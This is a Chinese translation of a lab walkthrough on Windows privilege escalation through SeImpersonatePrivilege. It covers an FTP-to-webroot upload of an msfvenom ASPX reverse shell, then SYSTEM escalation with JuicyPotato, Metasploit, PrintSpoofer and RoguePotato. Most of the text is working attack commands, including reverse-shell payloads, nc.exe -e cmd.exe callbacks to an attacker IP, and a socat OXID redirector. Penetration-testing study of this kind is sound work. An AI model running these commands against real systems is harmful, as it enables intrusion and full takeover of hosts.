Windows 提权-SeImpersonatePrivilege 特权

本文通过 Google 翻译 SeImpersonatePrivilege -- Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航

  • [0 前言](#0 前言)
  • [1 获得立足点](#1 获得立足点)
    • [1.1 枚举 SeimpersonatePrivilege 特权是否启用](#1.1 枚举 SeimpersonatePrivilege 特权是否启用)
  • [2 使用 JuicyPotato 模拟本地 SYSTEM 帐户](#2 使用 JuicyPotato 模拟本地 SYSTEM 帐户)
    • [2.1 滥用 SeimpersonatePrivilege 特权:JuciyPotato.exe](#2.1 滥用 SeimpersonatePrivilege 特权:JuciyPotato.exe)
    • [2.2 JuicyPotato 故障处理](#2.2 JuicyPotato 故障处理)
    • [2.3 滥用 SeimpersonatePrivilege 特权:Metasploit 模块](#2.3 滥用 SeimpersonatePrivilege 特权:Metasploit 模块)
  • [3 使用 PrintSpoofer 模拟本地 SYSTEM 帐户](#3 使用 PrintSpoofer 模拟本地 SYSTEM 帐户)
    • [3.1 滥用 SeimpersonatePrivilege 特权:PrintSpoofer.exe](#3.1 滥用 SeimpersonatePrivilege 特权:PrintSpoofer.exe)
    • [3.2 PrintSpoofer 故障处理](#3.2 PrintSpoofer 故障处理)
  • [4 使用 RoguePotato 模拟本地 SYSTEM 帐户](#4 使用 RoguePotato 模拟本地 SYSTEM 帐户)
    • [4.1 滥用 SeimpersonatePrivilege 特权:RoguePotato.exe](#4.1 滥用 SeimpersonatePrivilege 特权:RoguePotato.exe)
    • [4.2 RoguePotato 故障处理](#4.2 RoguePotato 故障处理)
  • [5 最后的想法](#5 最后的想法)

0、前言

在这篇文章中,我们将探讨三种能够用来滥用 SeImpersonate 特权的技术。首先,我们将回顾这样一个场景:在利用配置有误的 FTP 服务器后,我们能以 iisapppool 服务账号在 Windows 10 机器上站稳脚跟。接着,我们会枚举这个账号的权限,发现它已启用 SeImpersonatePrivilege 特权,然后我们会借助 JuicyPotato.exe 执行 Potato 攻击,把我们的权限提升到本地 SYSTEM 级别。 【同时,也会利用 Metasploit 里的 JuicyPotato 模块来自动化这种攻击操作。】

最后,我们也来看看怎样通过另外两款工具 RoguePotato 和 PrintSpoofer 去滥用 SeImpersonate 特权,从而在 Server 2019 的机器上获取到 SYSTEM 权限。

默认情况下,本地管理员组的成员以及任何本地服务帐户都将被授予"身份验证后模拟客户端"用户权利,即 SeimpersonatePrivilege 特权。

授权位置:本地安全策略(secpol.msc)-本地策略-用户权限分配-身份验证后模拟客户端。】

一个已启用 SeImpersonate 特权的账户在完成身份验证后,就能够模拟其它也已通过身份验证的账户,如账户A。如果被模拟的账户A 没有完成身份验证,那么系统中(LSASS 进程里的登录会话)便不会存留它的令牌信息,此时便不能够满足 SeImpersonate 特权模拟账户身份的条件,此时模拟账户身份的动作也会失败,系统也会拒绝模拟请求。

账户登录或通过身份验证之后,系统便会为其生成一个身份验证令牌,该令牌会一直存在,直到系统重启。

了解了这种特权能让我们做什么之后,作为攻击者,我们得思考:"当 SeImperonsate 特权启用时,要冒充管理员账户还需要哪些条件?"

让我们找出答案!

1、获得立足点

为了给这篇文章补充些背景信息,我们会拿一个有关配置有误的 FTP 服务器作为示例场景。我们要借助这种错误配置来构建一个利用链,从而能从 Web 服务器获取反向 shell ,这样一来,就能以内置的 IIS 服务账户:iisapppool 作为立足点。

运行以下 nmap 扫描,我们可以观察到 FTP 在端口 21 上打开并且允许匿名访问、端口 80 上有一个 IIS Web 服务器。

bash 复制代码
nmap -A -sV -sC -T4 172.16.1.50 -p- -oN tcp.nmap

查看这个 nmap 扫描结果,我们发现 FTP 服务器里的文件貌似属于 Web 服务器,这表明 FTP 服务器很可能运行在 Web 服务的根目录上!

这时,我们应该做的第一件事就是尝试匿名登录 FTP 服务器,并测试是否拥有文件上传权限。如果我们可以在 FTP 服务器中上传文件,那么我们很可能轻而易举就能获得反向 Shell。

在登录 FTP 服务器之前,我们先制作一个简单的 txt 文件。

bash 复制代码
echo 'testing for hax!' > test.txt

现在已经准备好了,我们可以连接到 FTP 服务器并使用凭证 anonymous : anonymous 登录。【注:匿名用户的密码可以是任何值或者直接回车。】

bash 复制代码
ftp 172.16.1.50

成功登录并建立会话后,我们可以使用 put 命令将我们的 test.txt 文件上传到 FTP 服务器上。

Awesome!我们能够将文件上传到 FTP 服务器,并且可以从浏览器访问到文件内容。

现在我们可以行动了!既然我们已经能够确认 FTP 服务器在 webroot 上运行,那我们就能够继续上传恶意文件,然后执行它,从而在这台主机上获取反向 shell。

鉴于我们正在面对的 IIS 10.0 是现代化版本,所以我们用于漏洞利用所需创建的文件类型选择 ASPX。

对于 IIS 的较旧版本(IIS 6之前的版本),我们将选择 ASP 类型的利用文件。

为了制作恶意的 ASPX 文件,我们将使用 msfvenom 工具进行。

从 nmap 扫描结果来看,目标运行着 IIS 10 ,被认定为 Windows 10 build 17134 。不过,这可能并非百分之百准确,但起码让我们知道了目标的大致情况;关键的是,这表明该系统较为现代,很可能是 x64 架构。鉴于此,我们首先制作基于 x64 位架构的恶意 ASPX 利用文件,要是不行,我们再测试 x32 位架构的恶意 ASPX 利用文件。

bash 复制代码
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=80 -a x64 --platform Windows -f aspx -o shell.aspx

在这个示例中,我决定让反向 shell 使用 80 端口。您通常会看到我使用 443/80/445/21 端口,这是因为这些端口通常能够通过防火墙实现出站访问。倘若我们使用像"4444"这样的任意端口,则很可能会被防火墙阻拦,进而错误地认为漏洞利用没有效果。

利用文件现在已经准备就绪,接下来,我们只需要在端口 80 上启动 netcat 侦听器,然后返回我们的 FTP 会话,使用 put 命令将恶意 ASPX 文件上传到 Web 服务器。

接着,我们在浏览器访问该链接http://172.16.1.50/shell.aspx,或使用以下 curl 命令:

bash 复制代码
curl 172.16.1.50/shell.aspx

在使用以上任意一种方法触发后,我们便得到了一个 iisapppool 用户身份的 shell。

1.1、枚举 SeimpersonatePrivilege 特权是否启用

在目标系统上获得立足点之后,我们可以先做些手动枚举,以快速了解当前的情况。

首先在受害者主机上运行 whoami 命令以确定我们当前是什么用户,然后运行 whoami /priv 命令确定分配给该帐户的特权。

在这里,我们可以看到该帐户启用了 SeimpersonatePrivilege 特权,这是一个重大发现!

同时我们看到 SeAssignPrimaryTokenPrivilege 特权也被提及,该特权其实和 SeimpersonatePrivilege 特权的作用是一样的,只不过 SeimpersonatePrivilege 出现的更多一些,这两个特权出现其中任意一个都属于重大发现,它们的利用方式都是一样的。

服务账户和提升账户默认都会同时拥有 SeImpersonatePrivilege 和 SeAssignPrimaryTokenPrivilge 这两项特权。需要指出的是,这两项特权均可适用下面所提到的三种攻击。但比起只有 SeAssignPrimaryTokenPrivilge 却没有 SeImpersonatePrivilege 的情况,没有 SeAssignPrimaryTokenPrivilge 但有 SeImpersonatePrivilege 的情况更为多见。而且,SeImpersonatePrivilege 是默认启用的,因此,在这两项特权中,我们通常会重点关注 SeImpersonatePrivilege 特权。

2、使用 JuicyPotato 模拟本地 SYSTEM 帐户

Potato 提权原理的过程如下:

  • 诱使"NT AUTHORITY\SYSTEM"账户通过 NTLM 向我们掌控的 TCP 端点进行身份验证(向我们假冒的 RPC 服务器进行身份验证)。【假冒一个需要身份验证的 RPC 服务
  • 对此次身份验证尝试(NTLM 中继)实施中间人攻击,从而在本地为"NT AUTHORITY\SYSTEM"账户协商安全令牌。这是借助一系列 Windows API 调用(与 LSASS 进行交互)来实现的。【获得 SYSTEM 令牌
  • 鉴于该账户拥有 SeImpersonatePrivilege 特权,然后就可以模拟我们刚刚协商的 SYSTEM 令牌。 【模拟 SYSTEM 令牌

如果您对此攻击的工作原理细节感兴趣,可在此处查看更多。

受此漏洞影响的 Windows OS 包括:

  • Windows 7 Enterprise
  • Windows 8.1 Enterprise
  • Windows 10 Enterprise
  • Windows 10 Professional
  • Windows Server 2008 R2 Enterprise
  • Windows Server 2012 Datacenter
  • Windows Server 2016 Standard

重要:JuicyPotato 攻击在 Windows 10 version >=1809 时无效,在 Windows Server 2019 上也是无效的!

2.1、滥用 SeimpersonatePrivilege 特权:JuciyPotato.exe

当我们使用 JuicyPotato.exe 利用此漏洞时,它将为本地 SYSTEM 帐户创建一个安全令牌,然后模仿该令牌以执行我们指定的命令。

此处可以获取 JuicyPotato.exe 的 64 位可执行文件,如果您需要 32 位的可执行文件,则可以在此处获取。

现在,既然我们拥有了 JuicyPotato 在两种架构下的可执行文件,接下来我们便需要确定受害者机器上运行的OS版本:

cmd 复制代码
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

从上面我们可以看到这是受害机器的 OS Version 是 Windows 10 Professional - Build 17134。(注意 :"Build"和"Version"是两回事,不是一个概念。)如果我们在这里对照此图表,我们可以看到 Build 17134 对应的是 Version 1803。而自 Version 1803 到 Version 1809 以来,由于尚未对此进行修补,因此该主机应该是脆弱的。

现在,我们需要一个待会以 SYSTEM 身份执行的程序。有许多方法可以利用这一点,但在本例中,我们将使用 msfvenom 去制作一个 EXE 程序。

bash 复制代码
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=80 -a x64 --platform Windows -f exe -o shell.exe

此时,我们的工作目录中已经有 JuicyPotato.exe 和 shell.exe 文件,然后利用文件传输技术将其发送到受害者机器上。

同时在攻击机上启动监听在 80 端口上的 netcat 侦听器,然后使用 juicypotato.exe 执行 shell.exe,例如:

注:JuicyPotato.exe 参数中的 -l 443 是指 COM 服务监听的端口,443可以是任意值。

命令中未出现的默认参数 -n 135 是 RPC 服务的端口,关于 RPC 服务和 COM 服务之间的关系目前还不太明确,有待研究。

cmd 复制代码
C:\temp\JuicyPotato.exe -t * -p C:\temp\shell.exe -l 443

要是我们发现这个进程成功创建了,那在我们的侦听器上应该会返回一个 SYSTEM 权限的 shell。

2.2、JuicyPotato 故障处理

需要说明的是,该漏洞并不总是能在使用默认 CLSID(大括号中的数字)时奏效。

有时候,如果第一次没成功,就把条命令多测试几次,然后就可能奏效了,如下图就是这种情况。

有时候我们尝试了好多次还是不能够成功,这时,还有一种更累的方法值得去试试,那就是将 CLSID 字串提供到命令中,因为默认的 CLSID 有时可能无法正常工作。

我们可以在此链接查看到各种操作系统的潜在 CLSID 字串。由于我们发现受害者机器是 Windows 10 Pro,因此我们可以前往对应的链接。

点击链接后,我们会看到一长串潜在的 CLSID,我们可以对其进行测试,尝试让这个漏洞发挥作用。我们要重点关注 NT AUTHORITY\SYSTEM 用户的 CLSID。

就这个列表而言,我们并不想立刻采用自上而下的方式。我们想先找出 BITS CLSIDs 并对其进行测试,如果这些不起作用,那我们再采用自上而下的方式。

要测试不同的 CLSID,我们需要更改命令,以包含我们要测试的 CLSID。例如:

cmd 复制代码
C:\temp\JuicyPotato.exe -t * -p C:\temp\shell.exe -l 443 -c "{6d18ad12-bde3-4393-b311-099c346e6df9}"

请注意 CLSID 周围的双引号,命令需要这些引号,否则将无法执行。

2.3、滥用 SeimpersonatePrivilege 特权:Metasploit 模块

JuicyPotato 漏洞利用除了上述繁琐的手动方法外,还有一种更为方便的自动化方法可以使用。我们首先在攻击机上使用以下命令启动 Metasploit:

bash 复制代码
msfconsole -q

启动后,我们可以设置一个 web 投递载荷以获取 meterpreter shell,这比使用 msfvenom 制作 meterpreter 载荷并将其发送给受害者要简单得多(省去了载荷制作和上传的步骤)。这种方法会提供一个 PowerShell 命令,我们可以直接将其复制并粘贴到受害者的 shell 中,运行该命令我们便能获得一个 meterpreter 会话。

bash 复制代码
use exploit/multi/script/web_delivery

在此之前,我们还需要更改四个参数:PAYLOAD、LHOST、 LPORT、TARGET。

bash 复制代码
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 80
set TARGET 2

之后通过 show options 查看参数信息:

现在,我们开始进行利用。

将输出的 powershell 命令粘贴到受害者 shell 并执行后,我们将看到一个MeterPreter 会话产生。

现在,我们便能够通过命令"sessions -i 1"进入 meterpreter shell。同时,我们还需将 meterpreter 的会话编号记下来,以便在后面的 JuicyPotato 模块选项中可以继续使用。

在 MeterPreter 会话中,命令 getprivs 可以帮助我们查看当前账户的特权信息,和在cmd.exe 中的 whoami /priv 命令是一样的效果。

在 Metasploit 中有两个 Potato 攻击模块,可以使用以下命令找到:

bash 复制代码
search ms16_075

在此示例中我们使用第二个,因为它的 Rank 级别是 great。第一个实际上是 rotterpotato,它是一种较旧效率较低的 Potato 版本。

bash 复制代码
use exploit/windows/local/ms16_075_reflection_juicy

同样,要编辑的选项有:PAYLOAD、SESSION、LHOST、LPORT。此外,如果在利用过程中使用默认的 CLSID 失败,那我们可以按照在手动方式中查到的 CLSID 列表逐一尝试,直到它起作用为止。

bash 复制代码
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SESSION 1
set LHOST 172.16.1.30
set LPORT 443

运行 show options 查看参数信息:

这一次,当我们再次执行 exploit 时,它便会进行 Potato 攻击,与此同时第二个 meterpreter 会话便会产生,而这就是我们的特权会话!

3、使用 PrintSpoofer 模拟本地 SYSTEM 帐户

不幸的是,在 Windows Server 2019 发布时,微软同时也对 Windows 10 操作系统做出了一些核心改动。结果,从 1809 版本开始的 Windows 10 操作系统便不能再通过 JuicyPotato 来加以利用了。

注:Windows Server 各版本的发布与相应的 Windows 客户端版本是相互关联的。每一代 Windows Server 版本通常是基于某个特定的 Windows 客户端版本进行开发的,虽然它们在功能上有所不同,但底层架构和技术大体一致。以下是 Server 各版本与 客户端版本的对应:

  • Windows Server 2003 基于 Windows XP
  • Windows Server 2008 基于 Windows Vista
  • Windows Server 2008 R2 基于 Windows 7
  • Windows Server 2012 基于 Windows 8
  • Windows Server 2012 R2 基于 Windows 8.1
  • Windows Server 2016 基于 Windows 10(1607 版本)
  • Windows Server 2019 基于 Windows 10(1809 版本)
  • Windows Server 2022 基于 Windows 10(21H1 版本)

微软实施的变更会对攻击者假冒的服务需要建立 COM 连接的能力产生影响,因为现在连接仅被允许在 TCP 端口 135 上进行。这意味着攻击者无法再以 SYSTEM 身份对其假冒的 RPC 服务进行认证来创建可被模拟的令牌,从而让 JuicyPotato 失效。

但幸运的是,由于 JuicyPotato 的失效,一个名叫 itm4n 的聪明人开始研究,并发现了 PrintSpoofer 这个漏洞。

PrintSpoofer 的工作原理与传统的 Potato 攻击不同,它实际上是利用一种古老的技术,将命名管道与 Print Spooler服务结合起来来对系统进行攻击利用。

由于此漏洞利用所采用的技术与常见的 Potato 攻击手段完全不同,由此带来的另一个惊喜是,该漏洞利用实际上适用于 Server 2016 和 Server 2019 的所有版本,以及 Windows 10 至少从 1607 版开始的每个版本。

Windows Server 2016 从版本 1607 开始

如果想全面了解该漏洞的工作原理,可在此处查看相关介绍。

3.1、滥用 SeimpersonatePrivilege 特权:PrintSpoofer.exe

借鉴上面我们用来获得立足点的场景(FTP 服务器 + Web 服务器联结漏洞),看看当我们以 iisapppool 的身份获得 shell 时会发生什么,只不过这次的目标运行的是 Windows Server 2019。

cmd 复制代码
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

检查操作系统的版本,我们发现这是一台 Server2019 的机器,这意味着 JuicyPotato 在这里无法使用。

幸运的是,我们可以利用 PrintSpoofer.exe 将权限直接提升到 SYSTEM。最重要的是,这个漏洞能让我们直接进入当前 shell 中的 SYSTEM shell。这意味着不再需要以 SYSTEM 身份执行恶意文件,只需要 PrintSpoofer.exe 就可以了。

此处查看 printspoofer.exe 的64位和32位版本的副本。

将漏洞利用下载到受害者机器上后,我们可以执行以下命令直接进入 SYSTEM shell:

cmd 复制代码
.\PrintSpoofer64.exe -i -c cmd

3.2、PrintSpoofer 故障处理

有几次,当我满怀信心地认为这个漏洞应该起作用时,它却并不起作用。每当我运行这个漏洞时,它就会变成这样:

在命令执行之后,什么都不会发生。

尝试在实验室机器上通过图形用户界面运行漏洞利用程序后,发现 VCRUNTIME140.dll 丢失,而该程序是与 Visual Studio 打包在一起的。

由于我们无法从反向 shell 中看到此弹窗,因此我们可以使用以下命令检查它是否存在于系统上:

cmd 复制代码
dir C:\Windows\System32 | findstr -i "vcruntime140.dll"

如果无输出,那么我们知道这就是 printspoofer 失败的原因。

我们该如何解决这个问题?- 我不建议从互联网上下载这个 DLL,因为据我所知,你无法直接从微软下载它。相反,如果你还没有将 Visual Studio 下载到实验室机器上,那就先下载到实验室机器上,然后再将 DLL 复制到你的攻击机器上。

将 vcruntime140.dll 的副本传输到我们的攻击者机器后,我们可以将其下载到受害者机器上。

由于以 iisapppool 的身份无权限将文件移至 C:\Windows\System32的位置,但我们可以将 DLL 放置在与利用程序的同一文件夹下进行使用。

4、使用 RoguePotato 模拟本地 SYSTEM 帐户

OXID 解析器是 "rpcss" 服务的一部分,运行在端口 135 上,由于对该解析器所做的更改,Windows 10 和 Windows Server 2019 从版本 1809 开始不再能够通过端口 135 以外的端口查询 OXID 解析器。这是 Juicy Potato 运行的关键部分。

此外,如果我们指定了远程 OXID 解析器,请求将以 ANONYMOUS LOGON 身份而非 SYSTEM 身份处理。因此,即使我们找到了绕过 OXID 解析器问题的方法,当我们连接到欺骗服务时,仍然会产生一个非特权 shell。

解决方法:我们可以从攻击者的机器上欺骗本地 OXID 解析器,这样连接就会重定向到我们这里,而不会显示为远程连接。然后,只要我们指定欺骗的服务器在 135 端口运行,就能有效绕过 "保护",像使用 JuicyPotato 时那样成功验证为 SYSTEM。

值得庆幸的是,由于针对查找 PrintSpoofer 漏洞利用所开展的研究,这一技术与最初 Potato 攻击的技术相融合,于是 Potato 家族的最新成员诞生了:RoguePoto

要充分了解 RoguePoto 的工作原理,请查看此处

RoguePotato 采用了与原始 Potato 攻击相同的技术,但对攻击方式进行了修改,以适应从 1809 版本开始对 Windows 10/Server 2019 操作系统进行的更新。因此,根据我个人的经验,这个漏洞只适用于发生变化后的 Windows 版本(1809+)。

4.1、滥用 SeimpersonatePrivilege 特权:RoguePotato.exe

在本示例中,我们将在 Windows Server 2019 机器上继续从上一个示例中的初始立足点开始。

要滥用 RoguePotato,首先,我们需要在攻击者机器上设置一个欺骗的 OXID 解析器来重定向请求。这可以使用以下 socat 命令来完成:

bash 复制代码
socat tcp-listen:135,reuseaddr,fork tcp:172.16.1.10:9999

请注意,上述命令中的 IP 地址是受害者机器的 IP。

我们需要获取 roguepotato.exe 的副本,然后将其发送给受害者,然后开始利用此漏洞。

可以在此处找到 roguepotato.exe 的副本。

由于其工作原理与 JuicyPotato 相似,都是需要以 SYSTEM 的身份去执行某些操作。在本例中,我们不再像使用 JuicyPotato 时那样再次弹出恶意 shell.exe 文件,而是通过 netcat 去利用这一漏洞而获得反向 shell。

与此同时,我们还需要在攻击者机器上启动一个 netcat 侦听器以捕获 SYSTEM shell。然后就可以通过以下命令执行利用:

cmd 复制代码
.\RoguePotato.exe -r 172.16.1.30 -e "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -l 9999

注意:上面命令中的 IP 是攻击机的 IP,-l 9999 是本地 RogueOxidResolver 解析服务,对应上述 socat 命令中连接端口。

回到 netcat 侦听器之后,我们发现获得了一个 SYSTEM shell。

4.2、RoguePotato 故障处理

与使用 JuicyPotato 时一样,我们可以设置使用哪个 CLSID,而不是使用默认值。如果默认 CLSID 不起作用,我们可以参考上文 JuicyPotato 部分的列表,指定要使用的 CLSID。对于 RoguePotato,无论我们使用的是 Server 2019 还是 Windows 10 victim,都可以使用 Windows 10 Pro 列表中的 CLSID。

为了测试指定的 CLSID,我们可以使用 -c 选项,例如:

cmd 复制代码
.\RoguePotato.exe -r 172.16.1.30 -e "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -l 9999 -c "{6d18ad12-bde3-4393-b311-099c346e6df9}"

5、最后的想法

走到这里可真漫长啊!不过,我们介绍了许多出色的工具和技术。这些攻击从本质上来说颇具技术性,但它们极为强大且易于操作。我建议阅读上述每个技术对应的链接中的相关文章,以便更清楚地了解这种攻击的工作原理。我只是简略地解释了一番,以便在展示实际攻击之前能有个大致的了解。

让我们快速回顾一下:

  • 当您在 Windows 10 目标上获得立足点时,请使用命令 whoami /priv 查询 SeimpersonatePrivilege 特权是否启用。【默认情况下,Windows 服务帐户都是启用的。】

  • 使用 systemInfo 命令查看 Windows 版本。【然后对应下面的版本使用相应的利用程序。】

    • Windows 7 -- Windows 10 / Server 2016 version 1803 --> JuicyPotato
    • Windows 10 / Server 2016 version 1607 -- Windows 10 / Server 2019 present --> PrintSpoofer
    • Windows 10 / Server 2019 version 1809 -- present --> RoguePotato

    注意:上面的 present (至今)是作者写这篇文章的时间,即 2022年6月,如今是否还有效果需要实验测试。

除了提权之外,SeImpersonatePrivlege 在黑客入侵 Active Directory 环境时的横向移动中亦发挥着重要作用。

相关推荐
i建模42 分钟前
Git最佳实践指南(Windows/Linux双系统详解)
linux·windows·git·web
╰⋛⋋⊱⋋翅膀⋌⊰⋌⋚╯1 小时前
Windows配置添加右键菜单——在VSCode中打开
ide·windows·vscode
黑客影儿3 小时前
白帽黑客系列教程之Windows驱动开发(64位环境)入门教程(三)
c语言·windows·驱动开发·程序人生·系统安全·学习方法·visual studio
cjchsh4 小时前
ctfhub-web信息泄露通关攻略
windows·python·github
i建模7 小时前
windows下访问linux,unix终端工具选型
linux·windows·unix
局外人_Jia8 小时前
【C# 变量字符串还原转义字符】
linux·数据库·windows·正则表达式·c#·字符串·indexof
i建模9 小时前
Windows前端开发IDE选型全攻略
前端·ide·windows·node.js·编辑器·visual studio code
sukalot10 小时前
Windows 图形显示驱动开发-WDDM 3.2-自动显示切换(六)
windows·驱动开发
开开心心就好12 小时前
多功能免费网络测速及问题诊断工具
网络·人工智能·windows·python·软件工程·软件需求